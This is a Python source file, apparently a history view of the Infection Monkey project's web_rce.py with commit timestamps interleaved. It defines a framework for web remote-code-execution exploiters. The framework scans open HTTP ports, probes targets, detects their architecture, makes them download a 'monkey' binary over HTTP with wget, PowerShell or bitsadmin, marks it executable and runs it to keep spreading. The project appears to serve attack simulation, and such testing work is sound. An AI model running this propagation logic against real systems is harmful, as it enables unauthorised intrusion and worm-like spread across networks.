monkey/infection_monkey/exploit/web_rce.py

405 lines
17 KiB
Python
Raw Normal View History

2018-07-19 17:33:44 +08:00
import logging
from exploit import HostExploiter
from model import *
from posixpath import join
import re
from abc import abstractmethod
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools, get_monkey_dest_path
from network.tools import check_tcp_port, tcp_port_to_service
2018-07-19 17:33:44 +08:00
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
# Commands used to check if monkeys already exists
LOOK_FOR_FILE = "ls %s"
2018-07-19 17:33:44 +08:00
2018-07-19 17:33:44 +08:00
class WebRCE(HostExploiter):
def __init__(self, host, monkey_target_paths=None):
"""
:param host: Host that we'll attack
:param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
"""
2018-07-19 17:33:44 +08:00
super(WebRCE, self).__init__(host)
self._config = __import__('config').WormConfiguration
if monkey_target_paths:
self.monkey_target_paths = monkey_target_paths
else:
self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux,
'win32': self._config.dropper_target_path_win_32,
'win64': self._config.dropper_target_path_win_64}
2018-07-19 17:33:44 +08:00
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.skip_exist = self._config.skip_exploit_if_file_exist
def exploit_host(self):
2018-08-15 21:01:27 +08:00
"""
Example workflow of the framework. Most likely you will have to override this method.
:return: True if exploited and False otherwise.
"""
# Get open ports
ports = self.get_ports_w(self.HTTP, ["http"])
if not ports:
return False
# Get urls to try to exploit
urls = self.build_potential_urls(ports)
vulnerable_urls = []
for url in urls:
if self.check_if_exploitable(url):
vulnerable_urls.append(url)
self._exploit_info['vulnerable_urls'] = vulnerable_urls
if not vulnerable_urls:
return False
# Skip if monkey already exists and this option is given
if self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
# Check for targets architecture (if it's 32 or 64 bit)
if not self.set_host_arch(vulnerable_urls[0]):
return False
# Upload the right monkey to target
data = self.upload_monkey(vulnerable_urls[0])
if data is not False and data['response'] is False:
return False
# Change permissions to transform monkey into executable file
if self.change_permissions(vulnerable_urls[0], data['path']) is False:
return False
# Execute remote monkey
if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False:
return False
return True
2018-07-19 17:33:44 +08:00
@abstractmethod
def exploit(self, url, command):
"""
A reference to a method which implements web exploit logic.
:param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
2018-07-19 17:33:44 +08:00
:param command: Command which will be executed on remote host
2018-08-15 21:01:27 +08:00
:return: RCE's output/True if successful or False if failed
2018-07-19 17:33:44 +08:00
"""
raise NotImplementedError()
def get_open_service_ports(self, port_list, names):
2018-07-19 17:33:44 +08:00
"""
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Returns all open ports from port list that are of service names
"""
candidate_services = {}
candidate_services.update({
service: self.host.services[service] for service in self.host.services if
(self.host.services[service] and self.host.services[service]['name'] in names)
})
2018-07-19 17:33:44 +08:00
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
tcp_port_to_service(port) in candidate_services]
2018-07-19 17:33:44 +08:00
return valid_ports
def check_if_port_open(self, port):
is_open, _ = check_tcp_port(self.host.ip_addr, port)
2018-07-19 17:33:44 +08:00
if not is_open:
LOG.info("Port %d is closed on %r, skipping", port, self.host)
2018-07-19 17:33:44 +08:00
return False
return True
def get_command(self, path, http_path, commands):
if 'linux' in self.host.os['type']:
command = commands['linux']
else:
command = commands['windows']
# Format command
try:
command = command % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Trying to exploit linux host, but linux command is missing/bad! "
"Check upload_monkey function docs.")
return False
return command
def check_if_exploitable(self, url):
"""
Checks if target is exploitable by interacting with url
:param url: Url to exploit
:return: True if exploitable and false if not
"""
2018-07-19 17:33:44 +08:00
try:
resp = self.exploit(url, CHECK_COMMAND)
2018-07-19 17:33:44 +08:00
if resp is True:
return True
elif resp is not False and ID_STRING in resp:
return True
else:
return False
except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e)
return False
def build_potential_urls(self, ports, extensions=None):
2018-07-19 17:33:44 +08:00
"""
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
2018-07-19 17:33:44 +08:00
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
"""
url_list = []
if extensions:
extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
else:
extensions = [""]
for port in ports:
for extension in extensions:
if port[1]:
protocol = "https"
else:
protocol = "http"
url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
2018-07-19 17:33:44 +08:00
if not url_list:
LOG.info("No attack url's were built")
return url_list
def get_host_arch(self, url):
2018-07-19 17:33:44 +08:00
"""
:param url: Url for exploiter to use
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
"""
if 'linux' in self.host.os['type']:
2018-08-15 21:01:27 +08:00
resp = self.exploit(url, GET_ARCH_LINUX)
2018-07-19 17:33:44 +08:00
if resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
2018-08-10 20:07:56 +08:00
try:
arch = arch.group(1)
except AttributeError:
LOG.error("Looked for linux architecture but could not find it")
return False
2018-07-19 17:33:44 +08:00
if arch:
return arch
else:
LOG.info("Could not pull machine architecture string from command's output")
return False
else:
return False
else:
2018-08-15 21:01:27 +08:00
resp = self.exploit(url, GET_ARCH_WINDOWS)
2018-07-19 17:33:44 +08:00
if resp:
if "64-bit" in resp:
return "64"
else:
return "32"
else:
return False
def check_remote_monkey_file(self, url, path):
command = LOOK_FOR_FILE % path
resp = self.exploit(url, command)
2018-07-19 17:33:44 +08:00
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % host)
return True
def check_remote_files(self, url):
2018-07-19 17:33:44 +08:00
"""
:param url: Url for exploiter to use
:return: True if at least one file is found, False otherwise
"""
paths = []
if 'linux' in self.host.os['type']:
paths.append(self.monkey_target_paths['linux'])
2018-07-19 17:33:44 +08:00
else:
paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']])
2018-07-19 17:33:44 +08:00
for path in paths:
2018-08-10 20:07:56 +08:00
if self.check_remote_monkey_file(url, path):
2018-07-19 17:33:44 +08:00
return True
return False
# Wrapped functions:
def get_ports_w(self, ports, names):
"""
Get ports wrapped with log
:param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
"""
2018-08-10 20:07:56 +08:00
ports = self.get_open_service_ports(ports, names)
if not ports:
2018-07-19 17:33:44 +08:00
LOG.info("All default web ports are closed on %r, skipping", host)
return False
else:
return ports
2018-08-10 20:07:56 +08:00
def set_host_arch(self, url):
arch = self.get_host_arch(url)
2018-07-19 17:33:44 +08:00
if not arch:
LOG.error("Couldn't get host machine's architecture")
return False
else:
self.host.os['machine'] = arch
2018-07-19 17:33:44 +08:00
return True
def upload_monkey(self, url, commands=None):
2018-07-19 17:33:44 +08:00
"""
:param url: Where exploiter should send it's request
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
Command must have "monkey_path" and "http_path" format parameters.
:return: {'response': response/False, 'path': monkeys_path_in_host}
"""
LOG.info("Trying to upload monkey to the host.")
2018-08-10 20:07:56 +08:00
src_path = get_target_monkey(self.host)
2018-07-19 17:33:44 +08:00
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
# Determine which destination path to use
LOG.debug("Monkey path found")
path = self.get_monkey_upload_path(src_path)
2018-07-19 17:33:44 +08:00
if not path:
return False
# Create server for http download and wait for it's startup.
2018-08-10 20:07:56 +08:00
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
2018-07-19 17:33:44 +08:00
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
if not self.host.os['type']:
2018-07-19 17:33:44 +08:00
LOG.error("Unknown target's os type. Skipping.")
return False
# Choose command:
2018-08-15 21:01:27 +08:00
if not commands:
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
command = self.get_command(path, http_path, commands)
resp = self.exploit(url, command)
2018-07-19 17:33:44 +08:00
if not isinstance(resp, bool) and 'owershell is not recognized' in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
resp = self.exploit(url, backup_command)
2018-07-19 17:33:44 +08:00
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Uploading process finished")
2018-07-19 17:33:44 +08:00
return {'response': resp, 'path': path}
def change_permissions(self, url, path, command=None):
2018-07-19 17:33:44 +08:00
"""
Method for linux hosts. Makes monkey executable
:param url: Where to send malicious packets
:param path: Path to monkey on remote host
:param command: Formatted command for permission change or None
:return: response, False if failed and True if permission change is not needed
"""
LOG.info("Changing monkey's permissions")
if 'windows' in self.host.os['type']:
2018-07-19 17:33:44 +08:00
LOG.info("Permission change not required for windows")
return True
if not command:
command = CHMOD_MONKEY % {'monkey_path': path}
try:
resp = self.exploit(url, command)
2018-07-19 17:33:44 +08:00
except Exception as e:
LOG.error("Something went wrong while trying to change permission: %s" % e)
return False
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Permission change finished")
return resp
# If exploiter returns command output, we can check for execution errors
if 'Operation not permitted' in resp:
LOG.error("Missing permissions to make monkey executable")
return False
elif 'No such file or directory' in resp:
LOG.error("Could not change permission because monkey was not found. Check path parameter.")
2018-07-19 17:33:44 +08:00
return False
LOG.info("Permission change finished")
return resp
def execute_remote_monkey(self, url, path, dropper=False):
2018-07-19 17:33:44 +08:00
"""
This method executes remote monkey
:param url: Where to send malicious packets
:param path: Path to monkey on remote host
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
:return: Response or False if failed
"""
LOG.info("Trying to execute remote monkey")
# Get monkey command line
if dropper and path:
# If dropper is chosen we try to move monkey to default location
default_path = self.custom_to_dropper_path(path)
if default_path is False:
return False
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
2018-07-19 17:33:44 +08:00
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
else:
2018-08-10 20:07:56 +08:00
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
2018-07-19 17:33:44 +08:00
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
try:
resp = self.exploit(url, command)
2018-07-19 17:33:44 +08:00
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Execution attempt successfully finished")
return resp
# If exploiter returns command output, we can check for execution errors
if 'is not recognized' in resp or 'command not found' in resp:
LOG.error("Wrong path chosen or other process already deleted monkey")
return False
elif 'The system cannot execute' in resp:
LOG.error("System could not execute monkey")
return False
except Exception as e:
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
return False
LOG.info("Execution attempt finished")
return resp
def get_monkey_upload_path(self, url_to_monkey):
"""
Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from self.monkey_target_paths
"""
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return self.monkey_target_paths['linux']
elif 'windows-32' in url_to_monkey:
return self.monkey_target_paths['win32']
elif 'windows-64' in url_to_monkey:
return self.monkey_target_paths['win64']
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except AttributeError:
LOG.error("Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey")
return False
def custom_to_dropper_path(self, path):
try:
key = self.monkey_target_paths.keys()[self.monkey_target_paths.values().index(path)]
except KeyError:
LOG.error("The path you used is not in monkey_target_paths array. Skipping")
return False
if key == 'linux':
return self._config.dropper_target_path_linux
elif key == 'win32':
return self._config.dropper_target_path_win_32
elif key == 'win64':
return self._config.dropper_target_path_win_64
else:
LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize "
"custom dict of monkey's destination paths")
return False